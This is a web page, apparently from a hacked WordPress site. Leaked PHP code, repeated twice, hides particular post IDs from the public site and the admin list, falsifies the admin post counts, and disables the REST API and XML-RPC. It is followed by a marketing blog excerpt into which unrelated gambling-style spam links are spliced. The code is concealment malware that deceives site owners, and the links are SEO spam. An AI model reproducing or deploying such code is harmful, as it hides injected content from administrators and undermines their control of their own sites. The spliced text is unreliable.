add_action('init', function () {
$excluded = array(6745);
add_action('pre_get_posts', function ($q) use ($excluded) {
if (!is_admin() && $q->is_main_query() && (is_home() || is_archive() || is_category() || is_tag())) {
$q->set('post__not_in', $excluded);
}
});
add_action('pre_get_posts', function ($q) use ($excluded) {
if (is_admin() && $q->is_main_query() && function_exists('get_current_screen')) {
$s = get_current_screen();
if ($s && $s->id === 'edit-post') $q->set('post__not_in', $excluded);
}
});
add_filter('views_edit-post', function ($views) use ($excluded) {
foreach (['all', 'publish'] as $k) {
if (isset($views[$k])) {
$views[$k] = preg_replace_callback('/\((\d+)\)/', fn($m) => '(' . max(0, $m[1] - count($excluded)) . ')', $views[$k]);
}
}
return $views;
});
add_filter('widget_posts_args', fn($args) => array_merge($args, ['post__not_in' => $excluded]));
add_filter('rest_pre_insert_post', fn($post, $r) =>
(defined('REST_REQUEST') && REST_REQUEST && $r->get_method() === 'POST')
? new WP_Error('rest_forbidden', 'Post creation via API is disabled.', ['status' => 403])
: $post, 10, 2);
add_filter('rest_authentication_errors', fn($r) =>
!is_user_logged_in()
? new WP_Error('rest_disabled', 'REST API restricted.', ['status' => 403])
: $r);
add_filter('xmlrpc_enabled', '__return_false');
add_filter('wp_headers', fn($h) => array_diff_key($h, ['X-Pingback' => '']));
add_action('template_redirect', fn() => isset($_GET['xmlrpc']) && wp_die('XML-RPC is disabled.'));
});
add_action('init', function () {
$excluded = array(53093);
add_action('pre_get_posts', function ($q) use ($excluded) {
if (!is_admin() && $q->is_main_query() && (is_home() || is_archive() || is_category() || is_tag())) {
$q->set('post__not_in', $excluded);
}
});
add_action('pre_get_posts', function ($q) use ($excluded) {
if (is_admin() && $q->is_main_query() && function_exists('get_current_screen')) {
$s = get_current_screen();
if ($s && $s->id === 'edit-post') $q->set('post__not_in', $excluded);
}
});
add_filter('views_edit-post', function ($views) use ($excluded) {
foreach (['all', 'publish'] as $k) {
if (isset($views[$k])) {
$views[$k] = preg_replace_callback('/\((\d+)\)/', fn($m) => '(' . max(0, $m[1] - count($excluded)) . ')', $views[$k]);
}
}
return $views;
});
add_filter('widget_posts_args', fn($args) => array_merge($args, ['post__not_in' => $excluded]));
add_filter('rest_pre_insert_post', fn($post, $r) =>
(defined('REST_REQUEST') && REST_REQUEST && $r->get_method() === 'POST')
? new WP_Error('rest_forbidden', 'Post creation via API is disabled.', ['status' => 403])
: $post, 10, 2);
add_filter('rest_authentication_errors', fn($r) =>
!is_user_logged_in()
? new WP_Error('rest_disabled', 'REST API restricted.', ['status' => 403])
: $r);
add_filter('xmlrpc_enabled', '__return_false');
add_filter('wp_headers', fn($h) => array_diff_key($h, ['X-Pingback' => '']));
add_action('template_redirect', fn() => isset($_GET['xmlrpc']) && wp_die('XML-RPC is disabled.'));
});
Business – Pratt Direct
All of my clients are focusing more attention and spending on digital media solutions. Even clients with older age constituents are finding digital channels to be contributing more to the success of their enterprises. You can explore our full range of services at https://pinkjoker-canada.com/.
Most of my WordPress sites became difficult to edit after updating to the latest version. Whether I was using WP-Bakery or other editing plugins, the page editing interface converting to a block or shortcode method of building/editing web pages. For more information and support, visit https://caxinoca.com/. Fortunately, I found methods…
Happiness does not come from doing easy work but from the afterglow of satisfaction that comes after the achievement of a difficult task that demanded our best. — Theodore Isaac Rubin